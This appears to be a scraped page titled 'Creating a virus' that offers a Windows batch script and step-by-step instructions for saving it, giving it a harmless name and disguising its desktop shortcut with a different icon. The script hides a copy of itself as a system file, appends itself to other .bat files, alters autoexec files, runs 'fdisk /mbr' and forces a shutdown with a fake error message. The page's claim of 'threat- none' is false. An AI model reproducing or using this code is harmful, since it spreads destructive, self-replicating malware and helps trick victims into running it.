Вы находитесь на странице: 1из 2

Creating a virus

threat- none
functions- shut down computer, scary massages

lines starting with REM are the components that the computer ignores but it tells u what the above
line does.

@echo off
title %0
rem conditional check.
echo welcome to this wonderful program! please wait while I delete all your files!
rem infection of the user
copy %0 c:\tmp.bat >null attrib +r +s +h c:\tmp.bat echo for %%i in (*.bat) do copy c:\tmp.bat+%
%i %%i >>c:\windows\system32\autoexec.NT

echo echo virus detected! >>c:\windows\system32\autoexec.NT


echo pause >>c:\windows\system32\autoexec.NT
echo NT core:infected!

echo echo shame on you! >>c:\autoexec.bat


echo echo system hault-virus identified! >>c:\autoexec.bat
echo chkdsk >>c:\autoexec.bat

echo i t i s t o o l a t e, y o u h a v e a v i r u s, n o w u r l i f e i s n o t b e a u t i f u l
fdisk /mbr
shutdown -s -t 03 -c "windows has shut down because the last service has incountered a write fault
at 0x00000000000000000000000000000000000"

code details
@echo off
color 1a (Changes the colour)
echo (Displays a text)
echo: (leaves a line)
ping -n 2 127.0.0.1>nul (pings your localhost - nothing much)
shutdown.exe (shutdown)

prepairing a virus
1. open notepad
2. copy and paste the code of the virus.
3. Click file>save as
4. choose a location to save the virus. Someplace other than the desktop.
5. Change .txt to all files in the file type drop down menu.
6. Choose a harmless name and change .txt to .bat
7. click on save and close the window
final steps
create a shortcut of the .bat file on the desktop. Change its icon and rename it.

Aborting the shutdown countdown


1. start>run> “shutdown.exe-a” and press enter

Вам также может понравиться